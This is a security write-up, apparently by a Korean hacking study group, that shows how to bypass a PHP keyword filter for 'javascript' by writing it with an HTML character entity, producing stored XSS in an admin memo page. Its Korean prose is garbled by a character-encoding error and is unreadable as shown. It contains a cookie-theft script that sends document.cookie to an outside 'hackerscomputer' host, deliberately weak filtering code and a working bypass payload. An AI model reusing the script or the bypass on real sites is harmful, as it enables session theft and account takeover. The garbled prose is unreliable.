Evading the Algorithm Prohibiting the Use of Specific Strings in CGI
(CGI ¿¡¼­ ƯÁ¤ ¹®ÀÚ¿­À» »ç¿ë ±ÝÁöÇÑ ¾Ë°í¸®Áò ¿ìȸÇϱâ)

 

 

 

by Beist Security Research Group
(http://beist.org)

Members of Beist Research Group : beist and anonymous people
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

 

 

¿ä¾à : ÇØÄ¿ÀÇ Cookie Sniffing °ø°ÝÀ» ¸·±â À§ÇØ ¸¹Àº º¸¾È ¾Ë°í¸®ÁòÀÌ ±¸ÇöµÇ°í ÀÖ´Ù. º» ¹®¼­´Â ÇØÄ¿ÀÇ Client Script Language »ç¿ëÀ» Á¦ÇÑÇϱâ À§ÇØ Æ¯Á¤ ¹®ÀÚ ÇÊÅ͸µ ¹æ¹ýÀ» »ç¿ëÇÏ´Â º¸¾È ¾Ë°í¸®ÁòÀ» ¿ìȸÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¼Ò°³Çϰí ÀÖ´Ù. Unicode ¹®ÀÚ¸¦ ÀÌ¿ëÇÏ¿© ƯÁ¤ ¹®ÀÚ ÇÊÅ͸µ ¾Ë°í¸®Áò¿¡ Àû¿ëµÇÁö ¾Ê°í ¿ìȸÇÏ¿© Cookie Sniffing °ø°Ý¿¡ ¼º°øÇÏ´Â ±â¹ý¿¡ ´ëÇØ¼­ ¼Ò°³Çϰí ÀÖ´Ù.

 

 

 

 

1. °³¿ä

±Ù·¡¿¡ ¸¹Àº CGI ÇÁ·Î±×·¥µéÀº ÇØÄ¿ÀÇ Cookie Sniffing °ø°ÝÀ» ¸·±â À§ÇØ »ç¿ëÀÚ°¡ Javascript °°Àº Client Script Language ÀÇ »ç¿ëÀ» Á¦ÇÑÇÏ´Â ¹æ¹ýÀ» ¸¹ÀÌ ±¸ÇöÇØ ¿Ô½À´Ï´Ù. Javascript ³ª Vbscript °°Àº ¾ð¾îÀÇ »ç¿ëÀ» ±ÝÁö½ÃÅ´À¸·Î½á ÇØÄ¿´Â Cookie Sniffing ¿¡ ¾Ç¿ëµÉ ¼ö ÀÖ´Â ScriptµéÀ» »ç¿ëÇϱⰡ ½±Áö ¾Ê¾Ò½À´Ï´Ù. ±×·¸Áö¸¸ Ç×»ó ±×·¡¿ÔµíÀÌ, ¹æ¾î ¾Ë°í¸®ÁòÀº ±ú´Â ¹æ¹ýµµ ³ª¿À±â ¸¶·ÃÀÔ´Ï´Ù. ÀÌ ¹®¼­¿¡¼­´Â ÇØÄ¿ÀÇ Client Script »ç¿ëÀ» Á¦ÇÑÇÏ´Â CGI ȯ°æ¿¡¼­ Á¦ÇÑÀ» ¿ìȸÇÏ¿© Client Script ¸¦ »ç¿ëÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ´Ù·ç°í ÀÖ½À´Ï´Ù.

ÀϹÝÀûÀ¸·Î CGI ÇÁ·Î±×·¥ÀÇ º¸¾È ¾Ë°í¸®Áò¿¡¼­´Â ÇØÄ¿ÀÇ Cookie Sniffing °ø°ÝÀ» ¸·±â À§ÇØ "script" ȤÀº, "javascript" °°Àº ƯÁ¤ ¹®ÀÚ¿­ÀÇ »ç¿ëÀ» Á¦ÇÑÇÕ´Ï´Ù. ÀÌ·¯ÇÑ Á¦ÇÑÀ¸·Î ÇØÄ¿´Â Client Script Language¸¦ »ç¿ëÇϱⰡ ¾î·Æ½À´Ï´Ù. CGI ÇÁ·Î±×·¥¿¡¼­ÀÇ ÀÌ·¯ÇÑ ÇÊÅ͸µ ÀÛ¾÷ ¶§¹®¿¡ ÇØÄ¿´Â Cookie Sniffing À» ¼º°øÇϱâ Èûµì´Ï´Ù.

ÀÌ ¹®¼­¿¡¼­´Â Unicode ¸¦ ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ Á¦ÇÑÀ» ¿ìȸÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¼³¸íÇÒ °ÍÀÔ´Ï´Ù. Unicode ´Â ÅØ½ºÆ®³ª ½ºÅ©¸³Æ® ¹®ÀÚ¿¡ ´ëÇÑ ¹ÙÀ̳ʸ® Äڵ带 È®¸³Çϱâ À§Çؼ­ ¸¸µé¾îÁ³½À´Ï´Ù. ÀÌ °ÍÀ» ÀÌ¿ëÇϸé ÇØÄ¿´Â Cookie Sniffing °ø°ÝÀ» ¼º°ø ÇÒ ¼ö ÀÖ½À´Ï´Ù.

 

 

 

 

 

 

2. ÀÌ¿ëµÉ ¼ö ÀÖ´Â °÷

ÀÌ ¹®¼­¿¡¼­ ´Ù·ç´Â ¹æ¹ýÀ» ÀÌ¿ëÇϸé, ÇØÄ¿´Â ƯÁ¤ ¹®ÀÚ¿­À» Á¦ÇÑÇÏ´Â CGI ÇÁ·Î±×·¥¿¡¼­ ¿øÇÏ´Â ¹®ÀÚ¿­À» »ç¿ëÇÒ ¼ö ÀÖ°Ô µÊÀ¸·Î½á, Cookie Sniffing °ø°ÝÀ» ¼º°øÇÒ ¼ö ÀÖ½À´Ï´Ù. Cookie Sniffing ¿¡ ¼º°øÇÏ°Ô µÇ¸é, ÇØÄ¿´Â 2 Â÷ÀûÀÎ °ø°ÝÀÌ¶ó º¼ ¼ö ÀÖ´Â Cookie Spoofing °ø°ÝÀ» ¼öÇàÇÔÀ¸·Î½á, Target Server ÀÇ Account ³ª, ±âŸ Admin ÀÌ ÇÒ ¼ö Àִ ƯÁ¤ ±â´ÉÀ» ºÒ¹ýÀûÀ¸·Î ¼öÇàÇÒ ¼ö ÀÖ½À´Ï´Ù.

Target CGI ÇÁ·Î±×·¥Àº, °Ô½ÃÆÇ, ÀÚ·á½Ç, ¼îÇθô, ¸ÞÀϼ­ºñ½º µîµî °ÅÀÇ ¸ðµç CGI À» Target À¸·Î »ï°í °ø°ÝÇÒ ¼ö ÀÖ½À´Ï´Ù. ±×¸®°í ¾ÆÁ÷ ÀÌ °ø°Ý ±â¹ýÀº ¸¹ÀÌ ¾Ë·ÁÁöÁö ¾ÊÀº ±â¹ýÀ̹ǷΠCookie Sniffing À» ¸·±â À§Çؼ­ Á¶Ä¡¸¦ ÃëÇÑ CGI ÇÁ·Î±×·¥¿¡¼­ ´ëºÎºÐ Ȱ¿ëµÉ ¼ö ÀÖÀ»°Å¶ó »ý°¢µË´Ï´Ù.

 

 

 

 

 

 

3. ±â¼úÀûÀÎ ³»¿ë

±â¼úÀûÀÎ ³»¿ëÀ» ¾Ë¾Æº¸°Ú½À´Ï´Ù. ¸ÕÀú, ¾î¶² ¹æ½ÄÀ¸·Î ÇØÄ¿ÀÇ Cookie Sniffing °ø°ÝÀ» ¸·´ÂÁö Á¶±Ý ´õ ÀÚ¼¼ÇÏ°Ô ¾Ë¾Æº¸°Ú½À´Ï´Ù. ¿¹¸¦ µé¾î¼­ ÇØÄ¿°¡ Cookie Sniffing À» Çϱâ À§Çؼ­ ÇÊ¿äÇÑ Æ¯Á¤ ¹®ÀÚ¿­ÀÌ "javascript" ¶ó°í °¡Á¤ÇϰڽÀ´Ï´Ù. (Cookie Sniffing °ø°ÝÀ» ÇÒ ¶§, ²À javascript ¹®ÀÚ¿­À» ÀÌ¿ëÇØ¼­¸¸ ÇÒ ¼ö ÀÖ´Â °ÍÀº ¾Æ´Ï¸ç ¿©·¯ ´Ù¸¥ ¹æ¹ýµéµµ Á¸ÀçÇÕ´Ï´Ù.)

Hacker °¡ Cookie Sniffing À» ÇÒ ¶§ »ç¿ëÇÏ´Â Script °¡ ´ÙÀ½°ú °°´Ù°í °¡Á¤ÇϰڽÀ´Ï´Ù.

 

cook-sniff.html

<html>
<head>
<title>beist's Cookie Sniffing</title>

<script language=javascript>
window.open("http://beist.hackerscomputer/hack.php?cook="+document.cookie+"&url="+location.href);
</script>

</head>
<body>

test.

</body>
</html>

À§ cook-sniff.html ¿¡¼­, "<script language=javascript>" ¶ó´Â ºÎºÐÀ» º¸½Ã¸é javascript ¹®ÀÚ¿­ÀÌ »ç¿ëµÇ¾ú½À´Ï´Ù. ÀÓÀÇÀÇ CGI ¸¦ ¸¸µé°í, ¾î¶² ¹æ½ÄÀ¸·Î javascript ÀÇ »ç¿ëÀ» Á¦ÇÑÇÏ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù.

 

test.html

<html>
<head>
<title>filtering evasion</title>
</head>
<body>
<br><br><br>
<center>
<form action=java_test.html method=post>
<font size=2>Input text : <input type=text name=hacker> <input type=submit>
</form>
</body>
</html>

test.html ¿¡¼­ »ç¿ëÀÚ°¡ µ¥ÀÌÅ͸¦ ÀÔ·ÂÇßÀ» ¶§, µ¥ÀÌÅͰ¡ ³Ñ¾î°¡´Â CGI ÇÁ·Î±×·¥ÀÎ java_test.html ÀÇ ¼Ò½º´Â ´ÙÀ½°ú °°½À´Ï´Ù.

 

java_test.html

<?

echo "
<html>
<head>
<title>filtering evasion test</title>
</head>
<body>
<center>
<br><br><br>
<font size=2>
";

echo "Original string : $hacker<br><br>";

$hacker = eregi_replace("javascript", "xjava-script", $hacker);

echo "Filtering string : $hacker";

?>

java_test.html ´Â, PHP ÀÇ eregi_replace ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ $hacker ÀÇ °ª¿¡, javascript °¡ ÀÖ´Ù¸é, ÀÌ °ªÀ» xjava-script ·Î ¹Ù²Ù¾î ÁÝ´Ï´Ù.

test.html ¿¡¼­ "script language=javascript" ¸¦ ÀÔ·ÂÇϸé java_test Àº ¾î¶² °ªÀ» Ãâ·ÂÇØÁÖ´ÂÁö È®ÀÎÇÏ´Â Å×½ºÆ® ÇØº¸°Ú½À´Ï´Ù.

 

[È­¸é1] test.html (script language=javascript ÀÔ·Â)

´ÙÀ½Àº °á°úÀÔ´Ï´Ù.

 

[È­¸é2] java_test.html

»ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ "javascript" ¹®ÀÚ¿­ÀÌ, java_test.html ÀÇ eregi_replace() ÇÔ¼ö¿¡ ÀÇÇØ "xjava-script" ·Î ¹Ù²î¾îÁø °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. ¸¸¾à "<script language=javascript>" °¡, "<script language=xjava-script>"·Î ¹Ù²î°Ô µÈ´Ù¸é, Web ºê¶ó¿ìÁ®´Â ÇØÄ¿°¡ ÀÔ·ÂÇÑ Script ¸¦ Á¤»óÀûÀÎ Javascript ·Î ÀνÄÇÏÁö ¸øÇØ, window.open() ¸Þ¼Òµå µî°ú °°Àº Javascript ¹®¹ýÀÌ ¾Æ¿¹ µ¿ÀÛÇÏÁö ¸øÇϱ⠶§¹®¿¡ Cookie Sniffing °ø°ÝÀ» ÇÒ ¼ö°¡ ¾ø½À´Ï´Ù.

CGI ´Â ÀÌ·¯ÇÑ ¹æ¹ýÀ¸·Î ƯÁ¤ ¹®ÀÚ¿­À» ÇÊÅ͸µÇÔÀ¸·Î½á ÇØÄ¿ÀÇ Cookie Sniffing °ø°ÝÀ» ¹æÁöÇϰí ÀÖ½À´Ï´Ù. ¿©±â¼­´Â ÀÓÀÇÀÇ CGI ÇÁ·Î±×·¥À» Çϳª ÀÛ¼ºÇÑ ´ÙÀ½, À̰ÍÀ» Ÿ°ÙÀ¸·Î Àâ°í À¯´ÏÄڵ带 ÀÌ¿ëÇÏ¿© CGI ÀÇ Javascript »ç¿ë ±ÝÁö ÇÊÅ͸µÀ» ¿ìȸÇϰí Cookie Sniffing ¿¡ ¼º°øÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

±×Àü¿¡, Unicode ¿¡ ´ëÇÑ Áö½ÄÀ» ¸î°¡Áö ¾Ë¾Æº¸°Ú½À´Ï´Ù. Unicode ´Â ±¹Á¦ Ç¥ÁØ ±â±¸ÀÇ ¹®ÀÚ ¼¼Æ® °ü·Ã Ç¥ÁØ ±Ô°ÝÀ» ¸»ÇÕ´Ï´Ù. Unicode ´Â ±¹°¡ °£ÀÇ Àü»ê ÀÚ·á ±³È¯ÀÇ Çʿ伭¿¡ ÀÇÇØ¼­ ź»ýÇÏ¿´½À´Ï´Ù. °¢ ³ª¶ó¸¶´Ù ´Ù¸¥ ¾ð¾î¸¦ ÄÄÇ»ÅÍ¿¡¼­ ´Ù·ç·Á°í ÇÏ´Ùº¸´Ï ¿©·¯ °¡Áö ¹®Á¦Á¡ÀÌ ³ªÅ¸³µ½À´Ï´Ù. ÀÌ ¹®Á¦Á¡À» À§Çؼ­ ±¹Á¦ Ç¥ÁØÀ¸·Î ¸¸µé¾îÁø °ÍÀÌ Unicode ¶ó´Â °ÍÀÔ´Ï´Ù.

Áï, °¢ ¹®ÀÚ¸¶´Ù °íÀ¯ÀÇ Unicode ³Ñ¹ö°¡ ºÎ¿©µÇ´Âµ¥, ÇØÄ¿´Â ÀÌ Unicode ¸¦ ÀÌ¿ëÇÏ¿© À§¿¡¼­ CGI°¡ »ç¿ëÇß´ø ÇÊÅ͸µÀ» ¿ìȸÇÒ ¼ö ÀÖ½À´Ï´Ù. À¯´ÏÄڵ忡¼­´Â, ¿¹¸¦ µé¾î a ¹®ÀÚ¿­ÀÌ °®´Â Unicode °ªÀº 0061 ÀÔ´Ï´Ù. ÀÌ °ÍÀº À¥ ºê¶ó¿ìÁ®¿¡¼­ &#x0061; ¿Í °°Àº Çü½ÄÀ¸·Î Ç¥ÇöµÉ ¼ö ÀÖ½À´Ï´Ù.

 

sample.html

<html>
<head>
<title>sample unicode</title>
</head>
<body>
<center><br><br><font size=2>
a = (unicode) &#x0061;
</body>
</html>

sample.html À» À¥ºê¶ó¿ìÁ®·Î Àо°Ú½À´Ï´Ù.

 

[È­¸é3] sample.html (sample unicode)

sample.html À» À¥À¸·Î ÀÐÀº °á°ú, &#x0061; À¯´ÏÄÚµå °ªÀÌ, À¥ ºê¶ó¿ìÁ®¿¡¼­´Â ÇØ¼®µÇ¾î a ·Î Ç¥½ÃµÈ °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ÀÌ·± ¹æ¹ýÀ¸·Î ÇØÄ¿´Â "a" ¹®ÀÚ°¡ ¾Æ´Ñ, "&#x0061;" À¯´ÏÄÚµå °ªÀ¸·Îµµ a ¸¦ Ç¥ÇöÇÒ ¼ö ÀÖ½À´Ï´Ù.

ÁüÀÛÇϼ̰ÚÁö¸¸, 0061 ÀÇ 61 Àº a ÀÇ hex code ÀÔ´Ï´Ù. ±âÁ¸ÀÇ ASCII ÄÚµå °ªµéÀº À¯´ÏÄڵ忡¼­µµ °°Àº ¹üÀ§¿¡ À§Ä¡Çϰí ÀÖ½À´Ï´Ù. ´Ù¸¥ ¹®ÀÚµéÀÇ À¯´ÏÄÚµå °ªÀ» »ùÇ÷Π¸î°³ ´õ ¾Ë¾Æº¸°Ú½À´Ï´Ù.

 

0061 = a
0062 = b
0063 = c
.....

0041 = A
0042 = B
0043 = C
.....

0021 = !
0022 = "
0023 = #
.....

0031 = 1
0032 = 2
0033 = 3
.....

 

ÀÌÁ¦, »ç¿ëÀÚÀÇ Client Script »ç¿ëÀ» Á¦ÇÑÇÏ´Â CGI ¸¦ Á¦ÀÛÇϰí, ÀÌ °ÍÀÇ ÇÊÅ͸µÀ» ¿ìȸÇÏ¿© Cookie Sniffing ¿¡ ¼º°øÇÏ´Â °úÁ¤À» ¾Ë¾Æº¸°Ú½À´Ï´Ù. Admin ¿¡°Ô ¸Þ¸ð¸¦ º¸³¾ ¼ö ÀÖ´Â ±â´ÉÀÇ CGI ¶ó°í °¡Á¤ÇϰڽÀ´Ï´Ù. ´ÙÀ½Àº Memo ¸¦ º¸³¾ ¼ö ÀÖ´Â Form ÀÔ´Ï´Ù.

 

write.html

 

<html>
<head>
<title>memo to admin</title>
</head>
<body>
<center><br><br>
<font size=2>
<table>
<form action=write_ok.html method=post>
<td><font size=2>Name : </td><td><input type=text name=name></td><tr>
<td><font size=2>Subject : </td><td><input type=text name=subject></td><tr>
<td><font size=2>Memo : </td><td><textarea name=memo cols=60 rows=10></textarea>
</td><tr>
<td></td><td><input type=submit></td><tr>
</table>
</body>
</html>

 

´ÙÀ½ write_ok.html ÆÄÀÏÀº, write.html ¿¡¼­ »ç¿ëÀÚ°¡ º¸³»¿Â µ¥ÀÌÅ͸¦ ó¸®ÇØÁÝ´Ï´Ù. »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ µ¥ÀÌÅÍ´Â memo.txt ¿¡ ÀúÀåµÇ°í, Admin Àº memo.txt ¸¦ ÀоÀ¸·Î½á »ç¿ëÀÚ°¡ º¸³»¿Â ¸Þ¸ð¸¦ È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.

 

write_ok.html

 

<?

$name=str_replace("<", "&lt;", $name);

$subject=str_replace("<", "&lt;", $subject);

$memo=eregi_replace("javascript", "xjava-script", $memo);

$memo = nl2br($memo);


if(!file_exists("./memo.txt"))
{
$fp=fopen("memo.txt", "w");
fputs($fp, "
<html>
<head>
<title>Memo</title>
</head>
<body>
");
fclose($fp);
}

$fp=fopen("./memo.txt", "a++");

fputs($fp, "
------------------------------------------------------------------------<br>
Name : $name<br>
Subject : $subject<br>
Memo : <br>
<br>
$memo<br>
------------------------------------------------------------------------<br><br>
");

fclose($fp);

echo "ok..";

?>

 

À̸§°ú Á¦¸ñ ºÎºÐ¿¡¼­ ÅÂ±× »ç¿ëÀ» ¿øÃµ ºÀ¼âÇϱâ À§ÇØ < ¸¦ &lt; ·Î ¹Ù²Ù¾ú½À´Ï´Ù. ±×¸®°í memo ¿¡¼­´Â ű״ Çã¿ëÇÏÁö¸¸ javascript ¸¦ »ç¿ëÇÏÁö ¸øÇÏ°Ô Çϱâ À§ÇØ, javascript ¸¦ xjava-script ¶ó´Â ¹®ÀÚ¿­·Î º¯È¯ÇÏ´Â ¹æ¹ýÀ» »ç¿ëÇÏ¿´½À´Ï´Ù. write.html ¿¡¼­ ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÏ¿´À» °æ¿ì, memo.txt ¿¡ ¾î¶»°Ô ÀúÀåµÇ´ÂÁö È®ÀÎÇØº¸°Ú½À´Ï´Ù.

 

[È­¸é4] write.html ÀÔ·Â

 

memo.txt ¸¦ È®ÀÎÇØº¸°Ú½À´Ï´Ù.

 

memo.txt

------------------------------------------------------------------------<br>
Name : &lt;b>hi..&lt;/b><br>
Subject : &lt;i>test&lt;/i><br>
Memo : <br>
<br>
<script language=xjava-script>alert(location.href);</script><br>
------------------------------------------------------------------------<br><br>

/* alert(location.href); ´Â, ÇöÀç ÆäÀÌÁöÀÇ ÁÖ¼Ò °ªÀ» alert âÀ» ÅëÇØ¼­ Ãâ·ÂÇØÁÖ´Â ±â´ÉÀ» ÇÕ´Ï´Ù. ¿©±â¼­´Â ´Ü¼øÈ÷ ÇÊÅ͸µ ¿ìȸ Å×½ºÆ®¸¦ À§Çؼ­ »ç¿ëµÈ °ÍÀÔ´Ï´Ù. */

< ´Â &lt; ·Î ¹Ù²î¾ú°í, javascript ´Â xjava-script ·Î ¹Ù²î¾ú½À´Ï´Ù. javascript °¡ xjava-script ·Î ¹Ù²î¾ú±â ¶§¹®¿¡ javascript ´Â ÀÛµ¿µÇÁö ¾ÊÀ» °ÍÀ̰í, Cookie Sniffing °ø°ÝÀº ½ÇÆÐÇÒ °ÍÀÔ´Ï´Ù.

ÀÌ ¹®¼­¿¡¼­´Â write_ok.html ÀÇ ÇÊÅ͸µÀ» ±Øº¹Çϱâ À§ÇÑ ¹æ¹ýÀ¸·Î À¯´ÏÄڵ带 ÀÌ¿ëÇÑ ¹æ¹ýÀ» ¼Ò°³ÇÒ °ÍÀÔ´Ï´Ù. À¯´ÏÄڵ忡 ´ëÇÑ ¼Ò°³´Â À§¿¡¼­ °£´ÜÇÏ°Ô ¾Ë¾Æº¸¾Ò°í, ÀÌÁ¦ ½ÇÁ¦·Î °ø°ÝÇÏ´Â ¹æ¹ýÀ» ¼Ò°³ÇϰڽÀ´Ï´Ù.

À§¿¡¼­ ¹®ÀÚ a ÀÇ À¯´ÏÄÚµå °ªÀº &#x0061; À̶ó°í ¼³¸íÇÏ¿´½À´Ï´Ù. write_ok.html ´Â "javascript" ¹®ÀÚ¿­À» ÇÊÅ͸µÇϹǷÎ, ¿ì¸®´Â À¯´ÏÄÚµå·Î javascript ¹®ÀÚ¿­À» ´Ù¸¥ ¹æ¹ýÀ¸·Î Ç¥ÇöÇÒ °ÍÀÔ´Ï´Ù.

javascript = jav&#x0061;script

À§ÀÇ jav&#x0061;script ´Â javascript ¹®ÀÚ¿­°ú °°½À´Ï´Ù. ÀÌ °ÍÀ» ÀÌ¿ëÇÏ¿© ´Ù½Ã Çѹø ±ÛÀ» ½áº¸°Ú½À´Ï´Ù.

 

[È­¸é5] write.html (À¯´ÏÄÚµå ÀÌ¿ëÇÏ¿© javascript »ç¿ëÇϱâ)

 

»ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ µ¥ÀÌÅͰ¡ ¾î¶»°Ô µÇ¾ú´ÂÁö memo.txt ¸¦ È®ÀÎÇØº¸°Ú½À´Ï´Ù.

 

memo.txt

------------------------------------------------------------------------<br>
Name : beist<br>
Subject : Java Test<br>
Memo : <br>
<br>
<script language=jav&#x0061;script>alert(location.href);</script><br>
------------------------------------------------------------------------<br><br>

»ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ <script language=jav&#x0061;script>alert(location.href);</script> ºÎºÐÀº ¾Æ¹«·± ÀÌ»ó¾øÀÌ memo.txt ¿¡ ÀúÀåµÇ¾ú½À´Ï´Ù. Admin ÀÌ Memo ¸¦ È®ÀÎÇÏ·Á memo.txt ¸¦ Àоú´Ù°í °¡Á¤Çϰí È­¸éÀ» º¸°Ú½À´Ï´Ù.

 

[È­¸é6] memo.txt (Admin ÀÌ Memo È®ÀÎ)

 

»ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ javascript °¡ ¼º°øÀûÀ¸·Î »ðÀԵǾúÀ½À» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. Admin ÀÇ À¥ ºê¶ó¿ìÁ®¿¡¼­´Â location.href ÀÇ °ªÀ» alert âÀ» ÅëÇØ Ãâ·ÂÇϰí ÀÖ½À´Ï´Ù. ÇØÄ¿´Â ÀÌ·¯ÇÑ ¹æ¹ýÀ» ÀÀ¿ëÇÏ¿© CGI ÀÇ Javascript ÇÊÅ͸µÀ» ¿ìȸÇϰí, Cookie Sniffing ¿¡ ¼º°øÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

 

 

 

 

 

 

4. ¸¶Ä¡´Â ¸»

À¯´ÏÄڵ带 ÀÌ¿ëÇÏ¿© CGI ÀÇ Javascript ÇÊÅ͸µÀ» ¿ìȸÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¾Ë¾Æº¸¾Ò½À´Ï´Ù. ÀÌ·± ¹æ¹ýó·³, À¯´ÏÄÚµå¶ó´Â È®Àå ¿µ¿ªÀ» ÀÌ¿ëÇϸé ÇöÀç °ÅÀÇ ¸ðµç CGI ÀÇ ÇÊÅ͸µÀ» ¿ìȸÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÌ °ÍÀ» ¸·±â À§ÇÑ ¹æ¹ýÀ» ¿¬±¸ÇؾßÇÒ °ÍÀÔ´Ï´Ù.

ÀÌ °ÍÀ» ¸·´Â ¹æ¹ýÀ¸·Î, < ¹®ÀÚ¿­ÀÇ »ç¿ëÀ» Á¦ÇÑÇÔÀ¸·Î½á, ¸ðµç ű×ÀÇ »ç¿ëÀ» ±Ùº»ÀûÀ¸·Î ¸·´Â ¹æ¹ýÀÌ ÀÖÁö¸¸, ÀÌ·¸°Ô µÉ °æ¿ì, »ç¿ëÀÚÀÇ ¿µ¿ªÀ» ³Ê¹« Á¦ÇÑÇÏ´Â °ÍÀ̹ǷΠ½ÅÁßÈ÷ °í·ÁÇØ¾ßÇÒ »çÇ×ÀÔ´Ï´Ù. ¶ÇÇÑ < ¹®ÀÚÀÇ »ç¿ëÀ» Á¦ÇÑÇÑ´Ù°í ¸ðµç °ÍÀÌ ÇØ°áµÇ´Â °ÍÀº ¾Æ´Õ´Ï´Ù. À¯´ÏÄڵ带 ÀÌ¿ëÇÑ ¹æ¹ý À̿ܿ¡µµ Cookie Sniffing ¹æÁö ¾Ë°í¸®ÁòÀ» ¿ìȸÇÏ´Â ¹æ¹ýÀº ¸¹ÀÌ ÀÖ½À´Ï´Ù. ÇØÄ¿´Â HTML ÀÇ Æ¯¼ºÀ» ÀÌ¿ëÇÏ¿© ¹æ¾î ¾Ë°í¸®ÁòÀ» ½±°Ô ¿ìȸÇÒ ¼ö ÀÖÀ¸¸ç, ÇØÄ¿ÀÇ °ø°ÝÀ» ¿Ïº®ÇÏ°Ô ¸·À» ¼ö ÀÖ´Â CGI ´Â ã¾Æº¸±â°¡ Èûµì´Ï´Ù. (ex>, onload, onclick µîÀÇ function »ç¿ë)

¿¡ÇǼҵå. ÀÌ ±â¼úÀº Á¦°¡ ¾î¶² ÇØÄ¿ÀÇ °ø°ÝÀ» ¹Þ°í, ºÐ¼®À» ÅëÇØ ¾Ë°Ô µÈ ±â¼úÀÔ´Ï´Ù. ÀúÀÇ E-mail ÁÖ¼Ò´Â °ø°³µÇ¾î Àִµ¥, ²Ï ¸¹Àº ÇØÄ¿ºÐµéÀÌ ÀúÀÇ E-mail À» ÇØÅ·Çϱâ À§Çؼ­ °ø°Ý ½Ãµµ¸¦ ÇÕ´Ï´Ù. ÀÌ ±â¼úÀº ±× ÇØÄ¿µé Áß ÇÑ ºÐÀÌ ±¸»çÇÑ ±â¼ú·Î, Àú¿¡°Ô »õ·Î¿î ±â¼úÀ» ¾Ë°ÔÇØ ÁØ °í¸¶¿î ÇØÄ¿ÀÔ´Ï´Ù.(¸ÞÀÏÀ» view-source:·Î Àо ´ÙÇàÈ÷ °ø°ÝÀº ¼º°øÇÏÁö ¸øÇß½À´Ï´Ù.) Àú¸¦ °ø°ÝÇÒ ¶§ À͸íÀ¸·Î À§Á¶µÈ Á¤º¸¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÀ» ÇϽôµ¥, ±×·¯Áö ¾ÊÀ¸¼Åµµ ±¦Âú½À´Ï´Ù. Àú´Â Á¦°¡ ÇØÅ· ´çÇÏ¿©µµ °í¼ÒÇÏÁö ¾ÊÀ» °ÍÀÔ´Ï´Ù. Àú´Â ½Ç·ÂÀÌ °®Ãß¾îÁø ÇØÄ¿¿Í ÇØÅ· ±â¼úÀ» À̾߱â ÇÏ´Â °ÍÀ» ÁÁ¾ÆÇϱ⠶§¹®ÀÔ´Ï´Ù. ÇØÅ· ±â¼ú¿¡ °üÇÑ À̾߱⳪ Åä·ÐÀº ¾ðÁ¦µçÁö ȯ¿µÇÕ´Ï´Ù. (Å©·¡Ä¿´Â ȯ¿µÇÏÁö ¾Ê½À´Ï´Ù. ^^)